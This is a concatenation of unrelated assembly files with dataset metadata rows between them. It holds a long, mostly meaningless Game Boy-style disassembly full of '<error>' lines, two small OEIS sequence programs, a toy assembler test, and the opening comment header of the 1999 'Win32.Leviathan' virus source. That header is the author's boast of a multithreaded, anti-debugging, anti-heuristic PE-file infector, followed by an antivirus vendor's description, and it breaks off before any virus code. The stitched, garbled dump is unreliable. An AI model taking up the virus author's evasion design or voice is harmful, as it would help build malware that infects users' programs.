rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
or $3f
rst 38
ld c, c
ret
add a, b
add a, b
add a, b
or [hl]
add a, b
rst 38
and b
rst 38
or $ff
rst 38
halt
rst 38
rst 38
adc a, c
adc a, b
nop
jr nc, 0.l_7658
ld a, h
nop
rst 38
stop
rst 38
inc a
jp .l_76ff
rst 38
rst 38
adc a, c
adc a, b
nop
jr nc, 0.l_7668
ld a, h
nop
rst 38
stop
rst 38
inc a
jp .l_76ff
rst 38
rst 38
adc a, c
adc a, b
nop
jr nc, 0.l_7678
ld a, h
nop
rst 38
stop
rst 38
inc a
jp .l_76ff
rst 38
rst 38
adc a, c
adc a, b
nop
jr nc, 0.l_7688
ld a, h
nop
rst 38
stop
rst 38
inc a
jp .l_6fff
<error>
rst 38
sub a, d
sub a, e
ld bc, $0101
ld l, l
ld bc, $05ff
rst 38
ld l, a
rst 38
rst 38
ld h, b
ld a, a
ld h, b
ld a, a
jr nz, 0.l_7725
jr nc, 0.l_76e7
jr 0.l_76e9
ld c, $1f
rlc a
rrc a
ld bc, $0303
rst 38
inc bc
rst 38
ld [bc], a
rst 38
ld b, $fe
inc c
cp $f8
<error>
ldh a, [$ff00 + $f8]
add a, b
ret nz
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
<error>
rrc a
ldh a, [$ff00 + $1f]
ldh [c], a
dec a
push hl
dec sp
call func_ca73
ld [hl], a
sbc a, d
rst 20
add a, d
rst 38
rr a
ldhl sp, d
dec hl
ldh a, [$ff00 + $c3]
ldh [$ff00 + $a7], a
ret nz
ld l, [hl]
add a, c
ld a, h
add a, e
ld a, h
add a, e
ld [hl], b
adc a, a
rst 38
rst 38
<error>
rst 38
rst 38
<error>
<error>
<error>
sbc a, c
<error>
<error>
sbc a, c
<error>
sbc a, c
rst 38
rst 38
rst 38
rst 38
<error>
rst 38
rst 38
<error>
<error>
<error>
sbc a, c
<error>
<error>
sbc a, c
<error>
sbc a, c
rst 38
rst 38
sbc a, a
ldh [$ff00 + $99], a
and $cc
di
call nz, func_d0f3
rst 20
xor [hl]
pop bc
xor e
call nz, func_c0bf
rst 38
nop
<error>
inc bc
ld h, b
sbc a, a
nop
rst 38
rlc a
rst 38
call c, func_73ff
<error>
rrc a
ldh a, [$ff00 + $ff]
nop
rlc a
ldhl sp, d
nop
rst 38
ld a, h
rst 38
rst 0
rst 38
add hl, sp
rst 0
cp $01
rst 18
jr nz, 0.l_7770
nop
<error>
inc bc
ld h, b
sbc a, a
nop
rst 38
rlc a
rst 38
call c, func_73ff
<error>
rrc a
ldh a, [$ff00 + $ff]
nop
rlc a
ldhl sp, d
nop
rst 38
ld a, h
rst 38
rst 0
rst 38
add hl, sp
rst 0
cp $01
rst 18
jr nz, 0.l_778e
inc bc
rst 30
rrc a
cpl
reti
ld [hl], a
sbc a, c
ld d, c
sbc a, a
ld c, c
sbc a, a
rst 10
rrc a
jp [hl]
rlc a
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
jr 0.l_77a9
inc a
rst 38
rst 38
rst 38
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
jr 0.l_77b9
inc a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ld b, [hl]
rst 38
ld b, l
cp $c9
cp $f9
cp $c4
rst 38
sbc a, d
rst 20
cp l
jp .l_c1be
jr nz, 0.l_7811
sub a, b
ld a, a
ret z
ccf
and a
ld e, a
di
rrc a
ld a, c
add a, a
ld bc, $ffff
rst 38
and $9f
add a, l
cp $c9
cp $f9
cp $c4
rst 38
xor d
rst 0
adc a, l
jp .l_c1be
dec [hl]
ei
adc a, c
ld a, a
rst 10
rrc a
rlc a
push hl
inc bc
ld a, c
add a, a
inc bc
rst 38
rst 38
rst 38
rrc a
rst 38
jr nc, 0.l_7843
ld l, a
ldh a, [$ff00 + $d0]
ldh [$ff00 + $a3], a
ret nz
or e
ret nz
cp [hl]
pop bc
sbc a, b
rst 20
ldh a, [$ff00 + $ff]
inc e
rst 38
and $1f
inc de
rrc a
dec bc
rlc a
jp [hl]
rlc a
ld a, c
add a, a
ld sp, $ffcf
rst 38
ldh a, [$ff00 + $ff]
rst 28
ldh a, [$ff00 + $d0]
ldh [$ff00 + $a3], a
ret nz
or e
ret nz
cp [hl]
pop bc
sbc a, b
rst 20
rst 38
rst 38
rr a
rst 38
rst 20
rr a
inc de
rrc a
dec bc
rlc a
jp [hl]
rlc a
ld a, c
add a, a
ld sp, $ffcf
rst 38
add a, [hl]
rst 38
cp a
rst 38
cp a
rst 38
cp a
rst 38
rst 38
rst 38
cp a
rst 38
rst 38
rst 38
rst 38
rst 38
rl a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 20
rst 38
rst 38
rst 38
ret nz
ret nz
add sp, d
add sp, d
ret nz
ret nz
rst 38
rst 38
rst 20
rst 38
rst 20
rst 38
rst 20
rst 38
rst 38
rst 38
inc bc
inc bc
rl a
rl a
jp .l_ff03
rst 38
rst 20
rst 38
rst 20
rst 38
di
di
ldh a, [$ff00 + $f0]
rst 38
ldh a, [$ff00 + $f7]
ldhl sp, d
<error>
rst 38
rst 38
<error>
<error>
cp $ff
rst 38
rst 8
rst 8
rrc a
rrc a
rst 38
rrc a
rst 28
rr a
ccf
rst 38
rst 38
ccf
cp a
ld a, a
rst 38
rst 38
rst 38
rst 38
ret nz
add a, b
cp a
add a, b
xor a
sub a, b
xor l
add a, d
rst 38
add a, b
sbc a, h
<error>
ret nz
rst 38
rst 38
rst 38
pop hl
inc bc
rr a
ld bc, $01ff
rst 30
add hl, bc
rst 30
ld bc, $8779
inc bc
rst 38
add a, e
<error>
rst 20
ldhl sp, d
ldi [hl], a
<error>
ret nc
ccf
pop de
ccf
cp [hl]
ld a, a
ldi a, [hl]
rst 30
inc sp
rst 28
add a, e
ld a, a
rlc a
rst 38
inc c
rst 38
ei
<error>
ld e, a
cp b
sub a, l
ld a, d
ld h, $f9
<error>
ei
jp .l_e7fc
ldhl sp, d
jp nc, .l_a8fd
rst 18
or a
adc a, a
sub a, [hl]
adc a, a
jp c, .l_b387
rst 8
cp c
ld b, a
inc sp
rst 8
rrc a
rst 38
pop af
rst 38
ld c, a
or c
sbc a, e
ld h, c
dec de
pop hl
rst 8
pop af
cp [hl]
pop bc
cp [hl]
pop bc
<error>
jp .l_e759
ld h, e
rst 38
ld a, $ff
inc e
rst 38
nop
rst 38
add a, e
rst 38
sbc a, a
pop hl
cp a
pop bc
cp l
jp .l_e799
jp .l_66ff
rst 38
inc a
rst 38
cp [hl]
pop bc
cp [hl]
pop bc
<error>
jp .l_e7d9
<error>
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
add a, e
rst 38
sbc a, a
pop hl
cp a
pop bc
cp l
jp .l_e799
jp .l_e7ff
rst 38
rst 38
rst 38
rst 38
rst 38
rl a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
add a, [hl]
rst 38
cp a
rst 38
cp a
rst 38
cp a
rst 38
rst 38
rst 38
cp a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 30
rst 28
rst 38
ldh [$ff00 + $e0], a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 28
rst 30
rst 38
rlc a
rlc a
rst 38
rst 38
rst 38
rst 38
rst 38
jr 0.l_79c1
jr 0.l_79c3
ccf
ret nz
rl a
add sp, d
ccf
ret nz
ccf
rst 38
jr 0.l_79cd
jr 0.l_79cf
jr 0.l_79d1
jr 0.l_79d3
<error>
inc bc
add sp, d
rl a
<error>
inc bc
<error>
rst 38
jr 0.l_79dd
jr 0.l_79df
rst 38
rst 38
pop hl
inc bc
rr a
ld bc, $01ff
rst 30
add hl, bc
rst 30
ld bc, $837d
add a, e
rst 38
rst 38
rst 38
ret nz
add a, b
cp a
add a, b
xor a
sub a, b
xor a
add a, b
cp a
add a, b
cp h
jp .l_ffc1
adc a, h
ldh a, [$ff00 + $9c]
ldh [$ff00 + $e1], a
cp $f0
ret nz
adc a, $f0
call z, func_c4f0
ldhl sp, d
add a, $f8
ld a, c
rlc a
ld sp, $870f
ld a, a
rrc a
ld bc, $0f71
ld hl, $211f
rr a
ld [hl], c
rrc a
rst 38
rst 38
ld b, b
add a, b
add a, b
nop
call z, func_7f00
add a, b
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
inc b
inc bc
ld [bc], a
ld bc, $0116
<error>
inc bc
ld bc, $ffff
rst 38
rst 38
rst 38
ld d, e
rst 28
set 6, a
rst 20
rst 38
cp h
rst 38
and a
rst 38
add a, b
rst 38
sub a, c
rst 38
ret nz
rst 38
sbc a, [hl]
rst 38
ld c, a
cp a
ld l, a
sbc a, a
sub a, c
rst 38
ld h, c
rst 38
add hl, bc
rst 38
add a, e
rst 38
rrc a
rst 38
ret nz
rst 38
push hl
rst 38
ldh a, [$ff00 + $ff]
ldhl sp, d
rst 38
and $ff
ldh [$ff00 + $ff], a
ldh a, [$ff00 + $ff]
<error>
rst 38
ld a, a
rst 38
rst 18
rst 38
rr a
rst 38
rr a
rst 38
cp a
rst 38
ccf
rst 38
ld a, a
rst 38
cp a
rst 38
<error>
cp $fa
<error>
<error>
ei
ret nz
rst 38
jp nc, .l_80ef
rst 38
add hl, sp
rst 38
rst 30
rst 38
cp a
ld a, a
rst 18
ccf
ld l, a
sbc a, a
scf
rst 8
dec de
rst 20
dec hl
rst 18
ld e, l
cp a
ccf
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
<error>
rst 30
pop hl
rst 38
rst 38
rst 38
rst 38
rst 28
rst 38
ld a, l
<error>
rst 38
push de
<error>
<error>
<error>
jp .l_efff
rst 38
dec c
ld c, $0d
ld c, $0e
rrc a
ld a, [bc]
rrc a
ld [$090f], sp
ld c, $09
ld c, $09
ld c, $d8
jr c, 0.l_7a9b
jr c, 0.l_7a9d
jr c, 0.l_7b1f
cp b
ld [$28f8], sp
ldhl sp, d
cp b
ld a, b
ldhl sp, d
jr c, 0.l_7ae1
nop
inc bc
inc bc
dec b
ld b, $09
ld c, $08
rrc a
add hl, bc
ld c, $09
ld c, $09
ld c, $00
nop
ldh [$ff00 + $e0], a
ret nc
jr nc, 0.l_7abf
jr c, 0.l_7b01
ldhl sp, d
jr z, 0.l_7af4
cp b
ld a, b
ldhl sp, d
jr c, 0.l_7acf
ldh a, [$ff00 + $cc]
ldh a, [$ff00 + $cc]
ldh a, [$ff00 + $c6]
ldhl sp, d
pop af
cp $e0
add a, b
sbc a, h
ldh [$ff00 + $8e], a
ldh a, [$ff00 + $31]
rrc a
ld hl, $611f
rr a
ld [hl], c
rrc a
adc a, a
ld a, a
rrc a
ld bc, $0f31
ld a, c
rlc a
<error>
inc e
inc e
<error>
ld [$ffff], sp
rst 38
or b
rst 8
pop bc
cp [hl]
add a, b
rst 38
rst 38
rst 38
<error>
inc e
inc c
ei
ld [$ffff], sp
rst 38
cp [hl]
pop bc
ret nz
cp a
add a, b
rst 38
rst 38
rst 38
<error>
rst 38
rst 38
rst 38
ret z
rst 38
ret nz
rst 38
call nz, func_e0ff
rst 38
sbc a, $ff
ret nz
rst 38
rr a
rst 38
ld b, a
rst 38
rlc a
rst 38
rrc a
rst 38
ccf
rst 38
rrc a
rst 38
adc a, a
rst 38
rr a
rst 38
di
rst 38
ldh a, [$ff00 + $ff]
ld sp, hl
rst 38
<error>
rst 38
ei
rst 38
ldhl sp, d
rst 38
<error>
rst 38
rst 38
rst 38
ccf
rst 38
ld a, a
rst 38
cp a
rst 38
ld a, a
rst 38
rst 38
rst 38
ld a, a
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ccf
ccf
rst 18
rrc a
rst 38
and a
rst 38
rl a
rst 38
xor a
ld a, a
ccf
rst 38
rst 38
rst 38
rst 38
ldh a, [$ff00 + $f8]
rst 20
<error>
<error>
jp nz, .l_38bd
rst 38
cp $ff
rst 38
rst 38
rst 38
rst 38
<error>
rst 38
ei
rst 38
ei
rst 38
rst 28
rst 38
call func_ebff
<error>
call z, func_00bb
rst 38
rst 30
rst 38
rst 30
rst 38
ld l, a
rst 38
cpl
rst 38
ld l, a
cp a
ld c, c
cp a
ld b, c
cp a
nop
rst 38
dec c
ld c, $0d
ld c, $0e
rrc a
ld a, [bc]
rrc a
ld [$090f], sp
ld c, $09
ld c, $09
ld c, $d8
jr c, 0.l_7b9b
jr c, 0.l_7b9d
jr c, 0.l_7c1f
cp b
ld [$28f8], sp
ldhl sp, d
cp b
ld a, b
ldhl sp, d
jr c, 0.l_7bee
ld c, $0d
ld c, $0e
rrc a
ld a, [bc]
rrc a
ld [$090f], sp
ld c, $09
ld c, $09
ld c, $d8
jr c, 0.l_7bbb
jr c, 0.l_7bbd
jr c, 0.l_7c3f
cp b
ld [$28f8], sp
ldhl sp, d
cp b
ld a, b
ldhl sp, d
jr c, 0.l_7c00
rst 38
rst 38
ldh a, [$ff00 + $f3]
ldh [$ff00 + $e7], a
ret nz
rst 38
add a, $ff
sub a, $ff
jp nc, .l_c8ff
rst 38
rst 38
cp a
ld a, a
rst 18
ccf
ld a, a
sbc a, a
rst 38
rr a
rst 38
ld a, a
rst 38
rst 38
rst 38
cp a
rst 28
ldh a, [$ff00 + $ed]
<error>
rst 30
<error>
rst 30
jp c, .l_fedb
sbc a, $f5
rst 38
pop de
cp $d1
ld a, e
rst 18
cp a
<error>
ld l, a
sbc a, e
rst 28
dec de
ld l, e
sbc a, a
ld e, a
cp e
rst 18
cp c
rst 28
ei
rst 38
cp $fc
<error>
ldhl sp, d
ld sp, hl
ei
ld sp, hl
rst 38
ld sp, hl
ei
<error>
<error>
cp $fe
cp $7f
rst 38
ccf
rst 38
ld e, a
cp a
rst 38
sbc a, a
rst 38
sbc a, a
ld e, a
cp a
ccf
rst 38
ld a, a
rst 38
rst 38
rst 38
ret nz
ret nz
cp b
rst 0
or e
call z, func_d8a7
ret nz
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rlc a
inc bc
call func_9d33
ld h, e
cp l
ld b, e
inc bc
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
nop
nop
nop
ld bc, $0700
inc bc
inc c
nop
ccf
jr 0.l_7cee
jr nc, 0.l_7c50
nop
inc a
jr nz, 0.l_7c5a
ld c, b
add a, [hl]
ld [$30f6], sp
ld c, $3c
jp .l_334c
<error>
dec bc
nop
rst 38
ld bc, $31fe
adc a, $20
rst 8
jr z, 0.l_7c71
dec d
ldh [c], a
ld [$07f1], sp
ldhl sp, d
nop
rst 38
add a, b
ld a, a
inc c
ld [hl], e
sub a, h
ld h, e
jr z, 0.l_7c81
stop
rrc a
ld h, [hl]
sbc a, c
adc a, d
ld [hl], c
rst 38
rst 38
rst 38
rst 38
cp $fe
rst 38
cp $fb
ld sp, hl
sbc a, h
adc a, e
jr c, 0.l_7cf2
ld h, e
ld b, b
ld sp, hl
pop af
scf
inc hl
cp d
sub a, a
ld [hl], $1f
<error>
ccf
<error>
rst 0
ld b, $03
swap c
rst 38
ldh a, [$ff00 + $ff]
ret nz
cp a
reti
cp a
reti
cp a
ret
cp a
ret nz
sbc a, a
xor $ff
<error>
rst 18
ccf
rst 28
rr a
rst 30
rst 8
rst 30
rst 8
rst 30
adc a, a
rst 20
rr a
adc a, a
ld a, a
ld a, a
rst 38
rst 38
pop hl
rst 38
push af
rst 28
cp $cf
ldhl sp, d
rst 18
rst 28
rst 18
ld [$e9d6], a
ret
or $ff
cp a
rst 38
cp a
xor a
ld a, a
ld c, a
ei
cp a
<error>
ld e, a
cp e
rst 28
dec sp
rst 18
ld a, e
sbc a, $f7
cp $f5
push af
cp $f6
rst 38
rst 38
cp $fd
cp $fe
<error>
rst 38
<error>
<error>
<error>
<error>
rst 18
<error>
rst 18
rst 18
ld l, l
rst 18
ld l, l
ld a, l
rst 8
rst 28
rst 18
rst 18
rst 38
rst 38
cp $fc
<error>
ldhl sp, d
ld sp, hl
ei
ld sp, hl
rst 38
ld sp, hl
ei
<error>
<error>
cp $fe
cp $7f
rst 38
ccf
rst 38
ld e, a
cp a
rst 38
sbc a, a
rst 38
sbc a, a
ld e, a
cp a
ccf
rst 38
ld a, a
rst 38
ld de, $22ff
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld de, $22ff
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ccf
ret nz
inc a
jp .l_c738
jr c, 0.l_7d4f
inc sp
call z, func_cf30
jr nc, 0.l_7d5a
nop
ldhl sp, d
ldhl sp, d
rlc a
inc a
jp .l_f30c
inc c
di
ldhl sp, d
ld b, $00
<error>
nop
nop
nop
nop
nop
rst 38
ld b, b
sbc a, [hl]
ld h, c
adc a, [hl]
ldd [hl], a
pop bc
ld e, $e1
nop
rst 38
ld [bc], a
<error>
inc b
ldhl sp, d
inc d
<error>
cp b
ld b, a
ldh a, [$ff00 + $0f]
jp nz, .l_1239
pop hl
<error>
inc bc
nop
rst 38
ret nz
ccf
<error>
inc bc
ld [hl], a
adc a, a
sbc a, [hl]
rst 38
<error>
or $ff
<error>
rst 38
rst 38
ret nc
ldh [$ff00 + $e0], a
rst 38
di
ld sp, hl
push de
ei
or l
<error>
ei
sub a, a
ei
rst 20
<error>
rst 8
add sp, d
rr a
rr a
rst 38
rst 38
jr nz, 0.l_7e22
call nc, func_ff0f
and a
rst 38
rl a
rst 38
xor a
ld a, a
ccf
rst 38
rst 38
rst 38
rst 38
ldh a, [$ff00 + $f8]
rst 20
<error>
<error>
jp nz, .l_38bd
rst 38
cp $ff
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ret nz
ld a, a
ldh [$ff00 + $7f], a
cp b
rst 38
adc a, a
rst 38
ret nz
rst 38
ld h, b
rst 38
jr c, 0.l_7e0f
rst 38
rst 38
ld b, $fc
rrc a
<error>
dec sp
rst 38
<error>
rst 38
rlc a
rst 38
dec c
rst 38
add hl, sp
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
ld a, a
add a, b
rr a
add a, a
ld a, b
adc a, b
inc d
di
ld [hl], e
sub a, a
ld [hl], a
sub a, a
rl a
rst 30
rst 38
rst 38
cp $01
ldhl sp, d
pop hl
ld e, $11
inc l
set 1, [hl]
jp [hl]
xor $e9
add sp, d
rst 28
rst 38
rst 38
rst 38
inc e
inc c
ei
inc c
ei
inc c
rst 38
rst 38
rst 38
cp l
jp .l_bfc1
rst 38
rst 38
rst 30
jr c, 0.l_7ecd
rst 30
jr 0.l_7e6f
stop
rst 38
rst 38
rst 38
ld a, a
add a, c
add a, c
ld a, a
rst 38
rst 38
ld a, a
add a, b
sub a, b
nop
rst 38
nop
rlc a
ei
cp $02
ld h, e
sbc a, a
rr a
ldh [$ff00 + $ff], a
rst 38
cp $01
pop bc
nop
rst 38
nop
or h
set 7, a
add a, b
adc a, [hl]
pop af
ldh a, [$ff00 + $0f]
sbc a, a
adc a, a
<error>
call nz, func_e95d
ld l, h
ldhl sp, d
ccf
<error>
scf
<error>
ld h, b
ret nz
<error>
adc a, h
rst 38
rst 38
rst 38
rst 38
ld a, a
ld a, a
rst 38
ld a, a
rst 18
sbc a, a
add hl, sp
pop de
inc e
inc h
add a, $02
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rrc a
rst 38
add a, b
rst 38
ldh [$ff00 + $ff], a
ld a, a
rst 38
rst 18
ccf
rst 38
nop
pop hl
nop
add a, b
nop
pop hl
rst 38
inc bc
rst 38
rrc a
rst 38
<error>
cp $f7
ldhl sp, d
rst 38
nop
rst 38
nop
ld a, a
nop
rst 38
rst 38
<error>
rst 38
rst 38
<error>
<error>
<error>
sbc a, c
<error>
<error>
sbc a, c
<error>
sbc a, c
rst 38
rst 38
rst 38
rst 38
<error>
rst 38
rst 38
<error>
<error>
<error>
sbc a, c
<error>
<error>
sbc a, c
<error>
sbc a, c
rst 38
rst 38
ld [hl], a
sub a, a
ld d, a
or a
ld a, e
sub a, e
inc c
ldhl sp, d
ccf
rst 38
add a, b
rst 38
rst 38
rst 38
rst 38
rst 38
xor $e9
xor $e9
ret c
rst 8
jr nc, 0.l_7f77
<error>
rst 38
inc bc
rst 38
rst 38
rst 38
rst 38
rst 38
pop bc
cp a
add a, c
rst 38
rst 38
rst 38
<error>
inc e
inc e
<error>
inc c
ei
inc c
rst 38
rst 38
rst 38
add a, c
ld a, a
ld bc, $ffff
rst 38
<error>
inc e
inc c
ei
inc c
ei
jr 0.l_7f7d
rst 38
rst 38
rst 38
nop
jp .l_7e3f
add a, d
inc bc
rst 38
inc a
rst 38
add a, b
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
adc a, [hl]
pop af
ldh a, [$ff00 + $8f]
add a, b
rst 38
ld a, h
rst 38
inc bc
rst 38
rst 38
rst 38
rst 38
rst 38
rst 8
sbc a, a
xor e
rst 18
xor l
<error>
rst 18
jp [hl]
rst 18
rst 20
cpl
di
rl a
ldhl sp, d
ldhl sp, d
rst 38
cp e
ret nz
xor $f1
ld a, c
rst 38
cp a
ld l, a
rst 38
cpl
rst 38
rst 38
dec bc
rlc a
rlc a
rst 38
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
nop
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
| 9.559022 | 22 | 0.495817 |
4d5dbcff4835e673648dacc26eea0f770d9371d8 | 592 | asm | Assembly | oeis/262/A262787.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/262/A262787.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/262/A262787.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A262787: a(n) = 41^(2*n+1).
; 41,68921,115856201,194754273881,327381934393961,550329031716248441,925103102315013629321,1555098314991537910888601,2614120267500775228203738281,4394336169668803158610484050361,7386879101213258109624223688656841,12417343769139486882278320020632149721,20873554875923477449109855954682643681001,35088445746427365591953667859821524027762681,58983677299744401560074115672359981890669066761,99151561540870339022484588445237129558214701225241,166673774950203039896796593176443614787358912759630121
mul $0,2
mov $1,41
pow $1,$0
sub $1,1
mul $1,41
add $1,41
mov $0,$1
| 53.818182 | 492 | 0.888514 |
76a476a70174bea10982137ff12dc79df76dd03c | 131 | asm | Assembly | test_data/montador/02.asm | Perruci/sb20172 | c7e803c97e389ff7455e6a10cfa238175a186cb4 | [
"MIT"
] | null | null | null | test_data/montador/02.asm | Perruci/sb20172 | c7e803c97e389ff7455e6a10cfa238175a186cb4 | [
"MIT"
] | 1 | 2017-10-22T01:43:05.000Z | 2017-10-22T01:46:29.000Z | test_data/montador/02.asm | Perruci/sb20172 | c7e803c97e389ff7455e6a10cfa238175a186cb4 | [
"MIT"
] | null | null | null | section text
test: add n1
sub n1
test: add n1 ;rotulo repetido
section data
n1: const 1
n2: space
n1: const 3 ;n1 repetido
| 11.909091 | 31 | 0.70229 |
d0e436a4c515622e4e3aaaa49b81988f65e3729b | 289 | asm | Assembly | oeis/323/A323642.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/323/A323642.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/323/A323642.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A323642: Row n of triangle A323641 when n -> infinity.
; Submitted by Jamie Morken(s3)
; 1,2,3,6,3,6,9,18,3,6,9,18,9,18,27,54,3,6,9,18,9,18,27,54,9,18,27,54,27,54,81,162
mov $1,1
lpb $0
mov $2,1
lpb $0
dif $0,2
mov $2,2
lpe
sub $0,1
add $2,1
mul $1,$2
lpe
mov $0,$1
| 17 | 82 | 0.581315 |
2e9c1944f917a02d1e77e2731cdf9935cd2be3e0 | 31,863 | asm | Assembly | Win32/Win32.Leviathan/Win32.Leviathan.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | Win32/Win32.Leviathan/Win32.Leviathan.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | Win32/Win32.Leviathan/Win32.Leviathan.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;======================================
;| Win32.Leviathan (c) 1999 by Benny |
;======================================
;
;
;
;Author's description
;=====================
;
;I'm very proud to introduce my third Win32 virus. This honey is the FIRST MULTITHREADED
;semi-polymorphic antidebuggin' antiheuristic Win32 infector. Thats not all. This is also
;first virus simulatin' NEURAL NETS. Each neuron is simulated as one thread.
;Dendrits (more inputs) and Axons (one output) r coded as normal function parameters.
;Synapses ("conectors" linkin' neurons) r represented as single jumps and synchronizin'
;stuff. In bio-neurons, memory and ability to learn is in fact nothing other than
;swappin' synapses. This virus doesn't contain any learn-abilities, 'cause i've decided,
;there's nothing important to learn. Now, tell me, if u wanna have uncompleted virus that
;needs to teach step by step every shit, u want to be able to do it. I think, u don't
;and I don't want it too. But next version, i will improve it, i swear :-D.
;As u can see, this virus is wrote in very short time (ask Super for reason, hehe),
;so if u will see any errors, mail me to benny@post.cz. I'm expectin' the most errors
;and mistypes will be present in synchronizin' stuff. I know, that method of
;synchronizin' of threads is the worst, I could choose, but it has two reasons - debuggers
;and heuristic scanners. ALL threads r runnin' on the background, so EVERY heuristic
;scanner that wants to detect it MUST support multi-threadin'. That's not easy to code,
;so this is the best anti-heuristic, I know. It works well also for debuggers. When u will
;step this, u will see only some decryptor, some API calls and "infinite" loop. But all
;other stuff is runnin' on the background, so u have to watch all threads. And that's not
;all, u have to watch and skip one "anti-debuggin'" thread, if u hate problems
;with debuggin' :D. And the last thing: This virus is unoptimized, i know that. It's
;simulatin' program written in some HLL language. It uses many instructions, many loops,
;many jumps and many variables. Heuristic scanner must have very large stack to handle
;this babe... (the biggest problem is speed of infected programs, but who cares...:D)
;
;I think, this is the first step of makin' really armoured, anti-debuggin', anti-heuristic
;and (the most important thing) "inteligent" viruses.
;
;
;
;Payload
;--------
;
;If the virus has done at least 30 generation, u will see dialog box with some
;comments.
;
;
;
;AVP's description
;==================
;
;It is not a dangerous nonmemory resident encrypted parasitic Windows32 virus. It searches
;for PE EXE files (Windows executable files) in the current directory, then writes itself
;to the end of the file. While infecting the virus writes itself to the end of last file
;section, increases its size and modifies program's startup address.
;
;Starting from the 30th generation the virus displays the message window, they are different in
